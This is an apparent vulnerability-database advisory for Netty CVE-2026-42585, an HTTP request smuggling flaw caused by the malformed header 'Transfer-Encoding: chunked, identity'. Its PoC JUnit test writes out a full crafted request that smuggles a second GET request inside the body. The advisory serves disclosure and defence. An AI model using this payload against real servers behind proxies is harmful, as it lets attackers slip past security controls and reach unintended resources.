Netty CVE-2026-42585
MEDIUMCVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Lifecycle Timeline
3Blast Radius
ecosystem impact- 11 maven packages depend on io.netty:netty-codec-http (11 direct, 0 indirect)
Ecosystem-wide dependent count for version 4.2.0.Alpha1.
DescriptionNVD
Summary
Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.
Details
Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length
" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "
A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked, identity\r\n" +
"Content-Length: 48\r\n" +
"\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
assertTrue(request.headers().contains("Transfer-Encoding"));
assertFalse(request.headers().contains("Content-Length"));
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
AnalysisAI
HTTP request smuggling in Netty's HttpRequestDecoder allows remote unauthenticated attackers to inject arbitrary HTTP requests by sending malformed Transfer-Encoding headers (specifically 'Transfer-Encoding: chunked, identity'). When Netty is deployed behind a proxy that forwards such requests without rejection, an attacker can smuggle a second request inside the body of the first, bypassing security controls and accessing unintended resources. …
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Leaving vuln.today
GHSA-38f8-5428-x5cv